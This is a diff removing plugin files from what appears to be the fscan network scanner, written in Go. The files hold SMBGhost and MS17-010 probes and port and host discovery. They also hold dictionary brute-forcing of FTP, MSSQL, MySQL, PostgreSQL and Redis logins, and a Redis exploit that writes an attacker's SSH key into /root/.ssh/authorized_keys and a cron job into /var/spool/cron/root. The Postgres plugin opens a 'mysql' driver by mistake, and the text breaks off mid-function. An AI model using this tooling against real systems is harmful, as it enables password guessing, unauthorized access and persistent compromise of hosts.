@echo "$(BLUE)运行 go vet...$(NC)"
$(GO) vet -printf=false ./...
@echo "$(GREEN)✓ go vet 检查通过$(NC)"
-127
View File
@@ -1,127 +0,0 @@
package Plugins
import (
"bytes"
"fmt"
"net"
"time"
"github.com/shadow1ng/fscan/common"
)
const (
pkt = "\x00" + // session
"\x00\x00\xc0" + // legth
"\xfeSMB@\x00" + // protocol
//[MS-SMB2]: SMB2 NEGOTIATE Request
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x1f\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
"$\x00" +
"\x08\x00" +
"\x01\x00" +
"\x00\x00" +
"\x7f\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"x\x00" +
"\x00\x00" +
"\x02\x00" +
"\x00\x00" +
"\x02\x02" +
"\x10\x02" +
"\x22\x02" +
"$\x02" +
"\x00\x03" +
"\x02\x03" +
"\x10\x03" +
"\x11\x03" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
"\x01\x00" +
"&\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" +
"\x20\x00" +
"\x01\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
"\x03\x00" +
"\x0e\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" + //CompressionAlgorithmCount
"\x00\x00" +
"\x01\x00\x00\x00" +
"\x01\x00" + //LZNT1
"\x00\x00" +
"\x00\x00\x00\x00"
)
func SmbGhost(info *common.HostInfo) error {
err := SmbGhostScan(info)
return err
}
func SmbGhostScan(info *common.HostInfo) error {
ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
addr := fmt.Sprintf("%s:%d", info.Host, port)
conn, err := net.DialTimeout("tcp", addr, timeout)
if err != nil {
return err
}
_, err = conn.Write([]byte(pkt))
if err != nil {
return err
}
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buff)
if err != nil {
return err
}
defer conn.Close()
if bytes.Contains(buff[:n], []byte("Public")) == true {
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result)
}
return err
}
-18
View File
@@ -1,18 +0,0 @@
package Plugins
var PluginList = map[string]interface{}{
"21": FtpScan,
"22": SshScan,
"135": Findnet,
"445": SmbScan,
"1433":MssqlScan,
"3306": MysqlScan,
"5432": PostgresScan,
"6379": RedisScan,
"9200":elasticsearchScan,
"11211":MemcachedScan,
"27017":MongodbScan,
"1000001": MS17010,
"1000002": SmbGhost,
"1000003":WebTitle,
}
-57
View File
@@ -1,57 +0,0 @@
package Plugins
import (
"crypto/tls"
"fmt"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
func elasticsearchScan(info *common.HostInfo) error {
_, err := geturl2(info)
return err
}
func geturl2(info *common.HostInfo) (flag bool, err error) {
flag = false
url := fmt.Sprintf("%s:%d/_cat", info.Url, common.PORTList["elastic"])
var client = &http.Client{
Timeout: time.Duration(info.WebTimeout) * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DisableKeepAlives: false,
DialContext: (&net.Dialer{
Timeout: time.Duration(info.WebTimeout) * time.Second,
}).DialContext,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
res, err := http.NewRequest("GET", url, nil)
if err == nil {
res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Add("Accept", "*/*")
res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
res.Header.Add("Accept-Encoding", "gzip, deflate")
res.Header.Add("Connection", "close")
resp, err := client.Do(res)
if err == nil {
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body), "/_cat/master") {
result := fmt.Sprintf("Elastic:%s unauthorized", url)
common.LogSuccess(result)
flag = true
}
}
}
return flag, err
}
-81
View File
@@ -1,81 +0,0 @@
package Plugins
import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
var (
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
func Findnet(info *common.HostInfo) error {
err := FindnetScan(info)
return err
}
func FindnetScan(info *common.HostInfo) error {
realhost := fmt.Sprintf("%s:%d", info.Host, 135)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return err
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err != nil {
return err
}
defer conn.Close()
_, err = conn.Write(bufferV1)
if err != nil {
return err
}
reply := make([]byte, 4096)
_, err = conn.Read(reply)
if err != nil {
return err
}
_, err = conn.Write(bufferV2)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 42 {
return err
}
text := reply[42:]
flag := true
for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], bufferV3) {
text = text[:i-4]
flag = false
break
}
}
if flag {
return err
}
err = read(text, info.Host)
return err
}
func read(text []byte, host string) error {
encodedStr := hex.EncodeToString(text)
hostnames := strings.Replace(encodedStr, "0700", "", -1)
hostname := strings.Split(hostnames, "000000")
result := "NetInfo:\n[*]" + host
for i := 0; i < len(hostname); i++ {
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
host, err := hex.DecodeString(hostname[i])
if err != nil {
return err
}
result += "\n [->]" + string(host)
}
common.LogSuccess(result)
return nil
}
-57
View File
@@ -1,57 +0,0 @@
package Plugins
import (
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func FtpScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["ftp"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp %v %v %v %v %v", info.Host, common.PORTList["ftp"], user, pass, err)
common.LogError(errlog)
tmperr = err
}
}
}
return tmperr
}
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, common.PORTList["ftp"], user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
if err == nil {
err = conn.Login(Username, Password)
if err == nil {
flag = true
result := fmt.Sprintf("FTP:%v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
//defer conn.Logout()
if err == nil {
if len(dirs) > 0 {
for i := 0; i < len(dirs); i++ {
if len(dirs[i].Name) > 50 {
result += "\n [->]" + dirs[i].Name[:50]
} else {
result += "\n [->]" + dirs[i].Name
}
if i == 5 {
break
}
}
}
}
common.LogSuccess(result)
}
}
return flag, err
}
-186
View File
@@ -1,186 +0,0 @@
package Plugins
import (
"bytes"
"fmt"
"golang.org/x/net/icmp"
"log"
"net"
"os"
"os/exec"
"os/user"
"runtime"
"strings"
"sync"
"time"
)
var AliveHosts []string
var SysInfo = GetSys()
type SystemInfo struct {
OS string
HostName string
Groupid string
Userid string
Username string
}
func GetSys() SystemInfo {
var sysinfo SystemInfo
sysinfo.OS = runtime.GOOS
name, err := os.Hostname()
if err == nil {
sysinfo.HostName = name
} else {
name = "none"
}
u, err := user.Current()
if err == nil {
sysinfo.Groupid = u.Gid
sysinfo.Userid = u.Uid
sysinfo.Username = u.Username
} else {
sysinfo.Groupid = "1"
sysinfo.Userid = "1"
sysinfo.Username = name
}
return sysinfo
}
func IcmpCheck(hostslist []string) {
TmpHosts := make(map[string]struct{})
var chanHosts = make(chan string)
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
endflag := false
if err != nil {
log.Fatal(err)
}
go func() {
for {
if endflag == true {
return
}
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
chanHosts <- sourceIP.String()
}
}
}()
go func() {
for ip := range chanHosts {
if _, ok := TmpHosts[ip]; !ok {
TmpHosts[ip] = struct{}{}
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
AliveHosts = append(AliveHosts, ip)
}
}
}()
for _, host := range hostslist {
write(host, conn)
}
if len(hostslist) > 255 {
time.Sleep(6 * time.Second)
} else {
time.Sleep(3 * time.Second)
}
endflag = true
close(chanHosts)
conn.Close()
}
func write(ip string, conn *icmp.PacketConn) {
dst, _ := net.ResolveIPAddr("ip", ip)
IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
conn.WriteTo(IcmpByte, dst)
}
func ExecCommandPing(ip string, bsenv string) bool {
var command *exec.Cmd
if SysInfo.OS == "windows" {
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if SysInfo.OS == "linux" {
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if SysInfo.OS == "darwin" {
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
}
outinfo := bytes.Buffer{}
command.Stdout = &outinfo
err := command.Start()
if err != nil {
return false
}
if err = command.Wait(); err != nil {
return false
} else {
if strings.Contains(outinfo.String(), "true") {
return true
} else {
return false
}
}
}
func PingCMDcheck(hostslist []string, bsenv string) {
var wg sync.WaitGroup
mutex := &sync.Mutex{}
limiter := make(chan struct{}, 50)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer wg.Done()
if ExecCommandPing(host, bsenv) {
mutex.Lock()
fmt.Printf("(Ping) Target '%s' is alive\n", host)
AliveHosts = append(AliveHosts, host)
mutex.Unlock()
}
<-limiter
}(host)
}
wg.Wait()
}
func ICMPRun(hostslist []string, Ping bool) []string {
if SysInfo.OS == "windows" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "")
}
} else if SysInfo.OS == "linux" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "/bin/bash")
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
}
} else if SysInfo.OS == "darwin" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "/bin/bash")
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
}
}
return AliveHosts
}
-28
View File
@@ -1,28 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
func MemcachedScan(info *common.HostInfo) (err error, result string) {
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mem"])
client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err == nil {
client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err == nil {
if strings.Contains(string(rev[:n]), "STAT") {
defer client.Close()
result = fmt.Sprintf("Memcached:%s unauthorized", realhost)
common.LogSuccess(result)
}
}
}
return err, result
}
-54
View File
@@ -1,54 +0,0 @@
package Plugins
import (
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
func MongodbScan(info *common.HostInfo) error {
_, err := MongodbUnauth(info)
return err
}
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
senddata := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
getlogdata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mgo"])
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
_, err = conn.Write(senddata)
if err != nil {
return flag, err
}
buf := make([]byte, 1024)
count, err := conn.Read(buf)
if err != nil {
return flag, err
}
text := string(buf[0:count])
if strings.Contains(text, "ismaster") {
_, err = conn.Write(getlogdata)
if err != nil {
return flag, err
}
count, err := conn.Read(buf)
if err != nil {
return flag, err
}
text := string(buf[0:count])
if strings.Contains(text, "totalLinesWritten") {
flag = true
result := fmt.Sprintf("Mongodb:%v unauthorized", realhost)
common.LogSuccess(result)
}
}
return flag, err
}
-151
View File
@@ -1,151 +0,0 @@
package Plugins
import (
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
var (
negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
)
func MS17010(info *common.HostInfo) error {
err := MS17010Scan(info)
return err
}
func MS17010Scan(info *common.HostInfo) error {
ip := info.Host
// connecting to a host in LAN if reachable should be very quick
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
_, err = conn.Write(negotiateProtocolRequest)
if err != nil {
return err
}
reply := make([]byte, 1024)
// let alone half packet
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
return err
}
_, err = conn.Write(sessionSetupRequest)
if err != nil {
return err
}
n, err := conn.Read(reply)
if err != nil || n < 36 {
return err
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
var Err = errors.New("can't determine whether target is vulnerable or not")
return Err
}
// extract OS info
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
fmt.Println("invalid session setup AndX response")
} else {
// two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "", -1)
break
}
}
}
}
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
// TODO change the ip in tree path though it doesn't matter
_, err = conn.Write(treeConnectRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
_, err = conn.Write(transNamedPipeRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
common.LogSuccess(result)
// detect present of DOUBLEPULSAR SMB implant
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
_, err = conn.Write(trans2SessionSetupRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if reply[34] == 0x51 {
//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip)
common.LogSuccess(result)
}
} else {
result := fmt.Sprintf("%s (%s)", ip, os)
common.LogSuccess(result)
}
return err
}
-47
View File
@@ -1,47 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MssqlScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["mssql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mssql %v %v %v %v %v", info.Host, common.PORTList["mssql"], user, pass, err)
common.LogError(errlog)
tmperr = err
}
}
}
return tmperr
}
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, common.PORTList["mssql"], user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
db, err := sql.Open("mssql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mssql:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
-47
View File
@@ -1,47 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MysqlScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["mysql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mysql %v %v %v %v %v", info.Host, common.PORTList["mysql"], user, pass, err)
common.LogError(errlog)
tmperr = err
}
}
}
return tmperr
}
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, common.PORTList["mysql"], user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host, Port, "mysql")
db, err := sql.Open("mysql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mysql:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
-101
View File
@@ -1,101 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strconv"
"sync"
"time"
)
func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, adjustedTimeout int64) {
for port := range ports {
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout)*time.Second)
if err == nil {
con.Close()
address := host + ":" + strconv.Itoa(port)
result := fmt.Sprintf("%s open", address)
common.LogSuccess(result)
respondingHosts <- address
}
}
done <- true
}
func ScanAllports(address string, probePorts []int, threads int, adjustedTimeout int64) ([]string, error) {
ports := make(chan int, 20)
results := make(chan string)
done := make(chan bool, threads)
for worker := 0; worker < threads; worker++ {
go ProbeHosts(address, ports, results, done, adjustedTimeout)
}
for _, port := range probePorts {
ports <- port
}
close(ports)
var responses = []string{}
for {
select {
case found := <-results:
responses = append(responses, found)
case <-done:
threads--
if threads == 0 {
return responses, nil
}
}
}
}
func TCPportScan(hostslist []string, ports string, timeout int64) []string {
var AliveAddress []string
probePorts := common.ParsePort(ports)
lm := 20
if len(hostslist) > 5 && len(hostslist) <= 50 {
lm = 40
} else if len(hostslist) > 50 && len(hostslist) <= 100 {
lm = 50
} else if len(hostslist) > 100 && len(hostslist) <= 150 {
lm = 60
} else if len(hostslist) > 150 && len(hostslist) <= 200 {
lm = 70
} else if len(hostslist) > 200 {
lm = 75
}
thread := 10
if len(probePorts) > 500 && len(probePorts) <= 4000 {
thread = len(probePorts) / 100
} else if len(probePorts) > 4000 && len(probePorts) <= 6000 {
thread = len(probePorts) / 200
} else if len(probePorts) > 6000 && len(probePorts) <= 10000 {
thread = len(probePorts) / 350
} else if len(probePorts) > 10000 && len(probePorts) < 50000 {
thread = len(probePorts) / 400
} else if len(probePorts) >= 50000 && len(probePorts) <= 65535 {
thread = len(probePorts) / 500
}
var wg sync.WaitGroup
mutex := &sync.Mutex{}
limiter := make(chan struct{}, lm)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer wg.Done()
if aliveAdd, err := ScanAllports(host, probePorts, thread, timeout); err == nil && len(aliveAdd) > 0 {
mutex.Lock()
AliveAddress = append(AliveAddress, aliveAdd...)
mutex.Unlock()
}
<-limiter
}(host)
}
wg.Wait()
return AliveAddress
}
-45
View File
@@ -1,45 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func PostgresScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["postgresql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1)
flag, err := PostgresConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] psql %v %v %v %v %v", info.Host, common.PORTList["psql"], user, pass, err)
common.LogError(errlog)
tmperr = err
}
}
}
return tmperr
}
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, common.PORTList["psql"], user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
db, err := sql.Open("mysql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("Postgres:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
-289
View File
@@ -1,289 +0,0 @@
package Plugins
import (
"bufio"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"os"
"strings"
"time"
)
func RedisScan(info *common.HostInfo) (tmperr error) {
flag, err := RedisUnauth(info)
if flag == true && err == nil {
return err
}
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] redis %v %v %v %v %v", info.Host, common.PORTList["redis"], pass, err)
common.LogError(errlog)
tmperr = err
}
}
return tmperr
}
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "+OK") {
result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
common.LogSuccess(result)
flag = true
Expoilt(realhost, conn)
}
return flag, err
}
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "redis_version") {
result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
common.LogSuccess(result)
flag = true
Expoilt(realhost, conn)
}
return flag, err
}
func Expoilt(realhost string, conn net.Conn) error {
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
return err
}
if flagSsh == true {
result := fmt.Sprintf("Redis:%v like can write /root/.ssh/", realhost)
common.LogSuccess(result)
if common.RedisFile != "" {
writeok, text, err := writekey(conn, common.RedisFile)
if err != nil {
return err
}
if writeok {
result := fmt.Sprintf("%v SSH public key was written successfully", realhost)
common.LogSuccess(result)
} else {
fmt.Println("Redis:", realhost, "SSHPUB write failed", text)
}
}
}
if flagCron == true {
result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/", realhost)
common.LogSuccess(result)
if common.RedisShell != "" {
writeok, text, err := writecron(conn, common.RedisShell)
if err != nil {
return err
}
if writeok {
result := fmt.Sprintf("%v /var/spool/cron/root was written successfully", realhost)
common.LogSuccess(result)
} else {
fmt.Println("Redis:", realhost, "cron write failed", text)
}
}
}
return err
}
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("Open %s error, %v", filename, err)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("the keyfile %s is empty", filename)
return flag, text, err
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
